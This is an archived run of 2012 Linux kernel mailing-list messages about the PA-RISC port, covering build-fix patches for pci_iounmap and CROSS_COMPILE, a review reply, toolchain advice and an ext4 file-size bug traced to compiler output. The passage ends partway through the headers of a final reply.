X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix longstanding build failures for !CONFIG_PCI
Date: Sun, 26 Feb 2012 18:24:37 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <1330298677-17205-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330298770 11175 80.91.229.3 (26 Feb 2012 23:26:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 26 Feb 2012 23:26:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, mst@redhat.com,
	linux-kernel@vger.kernel.org, linux-next@vger.kernel.org,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Randy Dunlap <rdunlap@xenotime.net>
To: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 00:26:07 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S1nTg-0000Ar-JN
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 00:26:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753169Ab2BZXZJ (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 26 Feb 2012 18:25:09 -0500
Original-Received: from mail.windriver.com ([147.11.1.11]:63110 "EHLO
	mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752909Ab2BZXZI (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Sun, 26 Feb 2012 18:25:08 -0500
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (yow-lpgnfs-02.ottawa.windriver.com [128.224.149.8])
	by mail.windriver.com (8.14.3/8.14.3) with ESMTP id q1QNOmQk021897;
	Sun, 26 Feb 2012 15:24:49 -0800 (PST)
X-Mailer: git-send-email 1.7.9.1
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20923 gmane.linux.ports.parisc:4184 gmane.linux.kernel:1258326
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20923>

Upstream commit fea80311a939a746533a6d7e7c3183729d6a3faf

    "iomap: make IOPORT/PCI mapping functions conditional"

introduced an arch independent stub for pci_iounmap() but the
parisc had its own that was unconditionally built.  So builds
since v3.0-3553-gfea8031 have been failing with:

arch/parisc/lib/iomap.c:439:6: error: redefinition of 'pci_iounmap'
include/asm-generic/iomap.h:75:20: note: previous definition of 'pci_iounmap' was here

Making the parisc one specific to CONFIG_PCI fixes the problem.

CC: Randy Dunlap <rdunlap@xenotime.net>
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[This fixes the linux-next builds that have been consistently failing
 since last July -- http://kisskb.ellerman.id.au/kisskb/target/2069/ ]

diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index fb8e10a..dc0a2c3 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -436,12 +436,15 @@ void ioport_unmap(void __iomem *addr)
 	}
 }
 
+#ifdef CONFIG_PCI
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	if (!INDIRECT_ADDR(addr)) {
 		iounmap(addr);
 	}
 }
+EXPORT_SYMBOL(pci_iounmap);
+#endif
 
 EXPORT_SYMBOL(ioread8);
 EXPORT_SYMBOL(ioread16);
@@ -461,4 +464,3 @@ EXPORT_SYMBOL(iowrite16_rep);
 EXPORT_SYMBOL(iowrite32_rep);
 EXPORT_SYMBOL(ioport_map);
 EXPORT_SYMBOL(ioport_unmap);
-EXPORT_SYMBOL(pci_iounmap);
-- 
1.7.9.1


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Sun, 26 Feb 2012 18:26:53 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330298833 11535 80.91.229.3 (26 Feb 2012 23:27:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 26 Feb 2012 23:27:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-next@vger.kernel.org,
	Paul Gortmaker <paul.gortmaker@windriver.com>
To: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 00:27:11 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S1nUh-0000ec-Px
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 00:27:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752909Ab2BZX1G (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 26 Feb 2012 18:27:06 -0500
Original-Received: from mail.windriver.com ([147.11.1.11]:63177 "EHLO
	mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752830Ab2BZX1F (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Sun, 26 Feb 2012 18:27:05 -0500
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (yow-lpgnfs-02.ottawa.windriver.com [128.224.149.8])
	by mail.windriver.com (8.14.3/8.14.3) with ESMTP id q1QNQu3q021997;
	Sun, 26 Feb 2012 15:26:56 -0800 (PST)
X-Mailer: git-send-email 1.7.9.1
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20924 gmane.linux.ports.parisc:4185 gmane.linux.kernel:1258327
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20924>

Using the 64 bit toolchains from kernel.org[1], one finds that
you can't build the a500_defconfig, because the Makefile will
stomp whatever value you have in your env. for CROSS_COMPILE.

This shows up since the kernel.org toolchains for parisc-64
do not have the "-gnu" prefix, and so you run into it always
saying hppa64-linux-gnu-gcc not found, regardless of the fact
you've not got "-gnu" put anywhere into CROSS_COMPILE.

[1] ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.5.2/

Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 55cca1d..cefff6d 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -31,7 +31,9 @@ ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 WIDTH		:= 64
-CROSS_COMPILE	:= hppa64-linux-gnu-
+ifndef CROSS_COMPILE
+ CROSS_COMPILE	:= hppa64-linux-gnu-
+endif
 else # 32-bit
 WIDTH		:=
 endif
-- 
1.7.9.1


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Sun, 26 Feb 2012 19:23:12 -0500
Organization: wh0rd.org
Lines: 41
Approved: news@gmane.org
Message-ID: <201202261923.15167.vapier@gentoo.org>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2838396.dFR3c2q4Di";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330302187 31468 80.91.229.3 (27 Feb 2012 00:23:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 00:23:07 +0000 (UTC)
Cc: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-next@vger.kernel.org
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 01:23:05 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S1oMm-0005rk-Iw
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 01:23:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753001Ab2B0AW7 (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 26 Feb 2012 19:22:59 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:39090 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752840Ab2B0AW6 (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Sun, 26 Feb 2012 19:22:58 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 2C63C644A6;
	Mon, 27 Feb 2012 00:22:58 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.2.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20926 gmane.linux.ports.parisc:4186 gmane.linux.kernel:1258350
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20926>

--nextPart2838396.dFR3c2q4Di
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit

On Sunday 26 February 2012 18:26:53 Paul Gortmaker wrote:
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
>
> -CROSS_COMPILE	:= hppa64-linux-gnu-
> +ifndef CROSS_COMPILE
> + CROSS_COMPILE	:= hppa64-linux-gnu-
> +endif

this should accomplish the same thing in practice:
	CROSS_COMPILE ?= hppa64-linux-gnu-
-mike

--nextPart2838396.dFR3c2q4Di
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJPSszyAAoJEEFjO5/oN/WBQ8MP+gKO+u/03HSZFU7qi0ivEVPT
XWmWrSEXYJyKG7tQQrczqKcwx1UcW9x+Eo9cSzkTh7YGTN4S+wACaVfIZLBTdKyW
FPIDumZWFvJQ3r3XXd/ELhHW68ny4yTQgyqT/wNXaWw+cB5rdTvkxKyNkeu371SQ
NryxZYAEoCLfWF0ZITPN9bNEZjj1KsoaKHBr4ApFuHxV15Bjk3RTEY8UhnZrWgQ2
GGfZ61U7f/DbX09TTh3TxQrI06I2Cnh2OU0yW48sDDCjefKo3QRz/5HzT9ag+pPs
P1Fqo+l+VgC4/kiAuBUj533P4S39u/INRXuf0krDYZd5FF/oFcT4X7cDdRV4HpNA
vrCDohCtZGIpG88mjX87Sqcp3XKg1kA55ceFju51zQczzkDnKIuuQTOPeg1SMNEY
Qsirs5nppIUXlKiG5HXwSog2O5zqp+YNuO6cEmpJRhedq7VwLfVbmS9SM2D+OBug
DzIrfZFtm1X/7tlVySl/H5n5/1BelfEGFTm2/Kb7tUOUAbTCxChQBXVLVWlNd9YC
HbTGXKK2wR2SEF9XrWePo2io8XLZNRskUmJ1edkQRLr6LicebM7NsPmR9fJfGIci
N0livuklxfzDGxAe8HuwmcjGqyPnL1Ve8gIKFgb5o6hJpaOXINqvwRJdJ0vtXK4U
jTX3Z4kLJQOSJFfPGvdb
=KY3Z
-----END PGP SIGNATURE-----

--nextPart2838396.dFR3c2q4Di--

From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for
 64 bit.
Date: Sun, 26 Feb 2012 19:30:38 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20120227003037.GE21842@windriver.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
 <201202261923.15167.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: dough.gmane.org 1330302734 2082 80.91.229.3 (27 Feb 2012 00:32:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 00:32:14 +0000 (UTC)
Cc: <JBottomley@parallels.com>, <jejb@parisc-linux.org>,
	<kyle@mcmartin.ca>, <deller@gmx.de>,
	<linux-parisc@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
	<linux-next@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Feb 27 01:32:11 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S1oVf-0000pC-7P
	for glk-linux-kernel-3@plane.gmane.org; Mon, 27 Feb 2012 01:32:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753492Ab2B0Abt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 26 Feb 2012 19:31:49 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:41393 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752381Ab2B0Abr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 26 Feb 2012 19:31:47 -0500
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca [147.11.189.40])
	by mail1.windriver.com (8.14.3/8.14.3) with ESMTP id q1R0UerN015917
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Sun, 26 Feb 2012 16:30:40 -0800 (PST)
Original-Received: from yow-pgortmak-d1 (128.224.146.65) by ALA-HCA.corp.ad.wrs.com
 (147.11.189.50) with Microsoft SMTP Server (TLS) id 14.1.255.0; Sun, 26 Feb
 2012 16:30:39 -0800
Original-Received: from paul by yow-pgortmak-d1 with local (Exim 4.74)	(envelope-from
 <paul.gortmaker@windriver.com>)	id 1S1oUA-0006Rx-H2; Sun, 26 Feb 2012
 19:30:38 -0500
Content-Disposition: inline
In-Reply-To: <201202261923.15167.vapier@gentoo.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1258353 gmane.linux.ports.parisc:4187 gmane.linux.kernel.next:20928
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1258353>

[Re: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.] On 26/02/2012 (Sun 19:23) Mike Frysinger wrote:

> On Sunday 26 February 2012 18:26:53 Paul Gortmaker wrote:
> > --- a/arch/parisc/Makefile
> > +++ b/arch/parisc/Makefile
> >
> > -CROSS_COMPILE	:= hppa64-linux-gnu-
> > +ifndef CROSS_COMPILE
> > + CROSS_COMPILE	:= hppa64-linux-gnu-
> > +endif
> 
> this should accomplish the same thing in practice:
> 	CROSS_COMPILE ?= hppa64-linux-gnu-

Good point, I'll wait for a bit in case I was missing something else
obvious, and then resend.

THanks,
P.

> -mike



From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: c3700 boot failure (protection ID trap)
Date: Sun, 26 Feb 2012 20:55:11 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <BLU0-SMTP872300A353072DFECC098997690@phx.gbl>
References: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com> <3542913.WWkx2jpWZr@donald.sf-tec.de> <CAErSpo6P6RMf69mJFkqWkVK4gJN9KqynrOh2bgdNRXzWiyY8ig@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330307738 31352 80.91.229.3 (27 Feb 2012 01:55:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 01:55:38 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 27 02:55:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S1poM-0007aw-Qx
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Feb 2012 02:55:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753417Ab2B0Bz3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Feb 2012 20:55:29 -0500
Original-Received: from blu0-omc3-s29.blu0.hotmail.com ([65.55.116.104]:4608 "EHLO
	blu0-omc3-s29.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753305Ab2B0Bz3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Feb 2012 20:55:29 -0500
Original-Received: from BLU0-SMTP87 ([65.55.116.73]) by blu0-omc3-s29.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 26 Feb 2012 17:55:28 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP87.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 26 Feb 2012 17:55:27 -0800
In-Reply-To: <CAErSpo6P6RMf69mJFkqWkVK4gJN9KqynrOh2bgdNRXzWiyY8ig@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 27 Feb 2012 01:55:27.0756 (UTC) FILETIME=[E0CAECC0:01CCF4F2]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4188
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4188>

On 28-Jan-12, at 5:41 PM, Bjorn Helgaas wrote:

> On Sat, Jan 28, 2012 at 9:56 AM, Rolf Eike Beer <eike-kernel@sf- 
> tec.de> wrote:
>> Bjorn Helgaas wrote:
>>> I'm trying to test some PCI changes on a c3700, but recent kernels
>>> don't seem to work at all.  74ea15d909b311 (current upstream) and  
>>> v3.2
>>> both fail as shown below.  I'm using c3000_defconfig (attached for
>>> 74ea15d909b311).  Should I expect this to work?
>>
>> I don't know about 3.3x, but my C3600 runs using 3.2.1. Which  
>> binutils did you
>> use for building? IIRC there is a bunch of bugs in different  
>> versions.
>
> This is a Debian 5.0 box:
>
> c3700:~# gcc -v
> Using built-in specs.
> Target: hppa-linux-gnu
> Configured with: ../src/configure -v --with-pkgversion='Debian
> 4.3.2-1.1' --with-bugurl=file:///usr/share/doc/gcc-4.3/README.Bugs
> --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr
> --enable-shared --with-system-zlib --libexecdir=/usr/lib
> --without-included-gettext --enable-threads=posix --enable-nls
> --with-gxx-include-dir=/usr/include/c++/4.3 --program-suffix=-4.3
> --enable-clocale=gnu --enable-libstdcxx-debug --enable-objc-gc
> --enable-mpfr --disable-libssp --enable-checking=release
> --build=hppa-linux-gnu --host=hppa-linux-gnu --target=hppa-linux-gnu
> Thread model: posix
> gcc version 4.3.2 (Debian 4.3.2-1.1)
> c3700:~# ld -v
> GNU ld (GNU Binutils for Debian) 2.18.0.20080103
> c3700:~# as -v
> GNU assembler version 2.18.0 (hppa-linux-gnu) using BFD version (GNU
> Binutils for Debian) 2.18.0.20080103


I would say you should update both binutils and GCC.  The binutils  
fixes are
less critical but they do fix the unwind support.  There are many GCC  
fixes
since 4.3.2.  The delay slot handling in the 4.3 branch is somewhat  
broken.

You probably won't be able to build either binutils or GCC from Debian
unstable sources due to the dependency requirements.  I would suggest  
using
the current binutils and GCC sources directly.  GCC 4.6.2 is pretty  
solid as
far as I can tell.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: HPPA64: Cannot write to ext4 filesystems with files > 28672 byte
Date: Mon, 27 Feb 2012 15:55:46 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <51659a45a16b0a5b0ede44e3f3e830dc.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1330354557 18422 80.91.229.3 (27 Feb 2012 14:55:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 14:55:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 27 15:55:56 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S21zT-0002LA-8l
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Feb 2012 15:55:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751199Ab2B0Ozu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 09:55:50 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43400 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751124Ab2B0Ozu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 09:55:50 -0500
Original-Received: (qmail 21197 invoked from network); 27 Feb 2012 14:55:47 -0000
Original-Received: from www.sf-tec.de ([::ffff:62.27.20.187]:39984)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPS
	for <linux-parisc@vger.kernel.org>; Mon, 27 Feb 2012 15:55:47 +0100
Original-Received: (qmail 21186 invoked by uid 81); 27 Feb 2012 14:55:46 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Mon, 27 Feb 2012 15:55:46 +0100
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4189>

Recent kernels (>3.x) fail when writing to ext4 filesystems with the
message "file too large". The critical size is 28672 byte (7*2^12). This
has been traced down to ext4_max_size() by Tobias Ulmer, which looks like
this:

fs/ext4/super.c, comments stripped:

loff_t ext4_max_size(int blkbits, int has_huge_files)
{
	loff_t res;
	loff_t upper_limit = MAX_LFS_FILESIZE;

	if (!has_huge_files || sizeof(blkcnt_t) < sizeof(u64)) {
		upper_limit = (1LL << 32) - 1;

		upper_limit >>= (blkbits - 9);
		upper_limit <<= blkbits;
	}

	res = (1LL << 32) - 1;
	res <<= blkbits;

	if (res > upper_limit)
		res = upper_limit;

	return res;
}

The 64 assembler output using gcc for 64 bit looks like this:

0000000000000000 <ext4_max_size>:
   0:   37 de 00 80     ldo 40(sp),sp
   4:   8f 20 20 80     cmpib,<> 0,r25,4c <ext4_max_size+0x4c>
   8:   db 5c 0f e0     extrd,s,* r26,63,32,ret0
   c:   97 9c 00 7e     subi 3f,ret0,ret0
  10:   01 7c 18 40     mtsar ret0
  14:   73 dc 3f 91     std ret0,-38(sp)
  18:   08 1c 02 53     copy ret0,r19
  1c:   37 5a 3f ef     ldo -9(r26),r26
  20:   d7 9f 12 1d     depdi,z,* -1,sar,32,ret0
  24:   db 5a 0f e0     extrd,s,* r26,63,32,r26
  28:   01 7a 18 c0     mtsarcm r26
  2c:   f7 ff 00 00     depdi,z,* -1,63,32,r31
  30:   d3 ff 17 00     extrd,s,* r31,sar,64,r31
  34:   01 73 18 40     mtsar r19
  38:   d7 ff 03 00     depd,z,* r31,sar,64,r31
  3c:   0b 9f 78 a0     cmpclr,*> r31,ret0,r0
  40:   08 1f 02 5c     copy r31,ret0
  44:   e8 40 d0 00     bve (rp)
  48:   37 de 3f 81     ldo -40(sp),sp
  4c:   01 7c 18 c0     mtsarcm ret0
  50:   d7 9f 12 1d     depdi,z,* -1,sar,3,ret0
  54:   e8 40 d0 00     bve (rp)
  58:   37 de 3f 81     ldo -40(sp),sp
  5c:   00 00 00 00     break 0,0

I think that blkbits is 12, so the depdi instructions (0x2c and 0x50) do:
shift a -1 of length 3 by 12 bits, which is 28672. Reading the C code they
should do "of length 32", so I fear gcc is somehow damaging it's length
output here.

A part from the 32 bit code looks like this:

  9c:   01 7c 18 40     mtsar ret0
  a0:   d7 9f 18 01     depwi,z -1,31,31,ret0
  a4:   d6 bf 10 00     depwi,z -1,sar,32,r21
  a8:   08 14 02 5d     copy r20,ret1
  ac:   01 7a 18 40     mtsar r26
  b0:   d3 80 00 1a     shrpw r0,ret0,sar,r26

So here a 32 bit -1 is used if I'm reading this correctly.

My current 2.6.39.2 kernel is built with the same compiler (4.5.3) and
runs fine, while 3.x doesn't work. That likely comes because the later of
those shift things has been fixed in
f17722f917b2f21497deb6edc62fb1683daa08e6, and the former is never hit.
I've also compiled this file with 4.6.2, but the ASM code looks the same.

Dave, any idea?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for
 64 bit.
Date: Mon, 27 Feb 2012 10:14:26 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <4F4B9DD2.6000600@bell.net>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
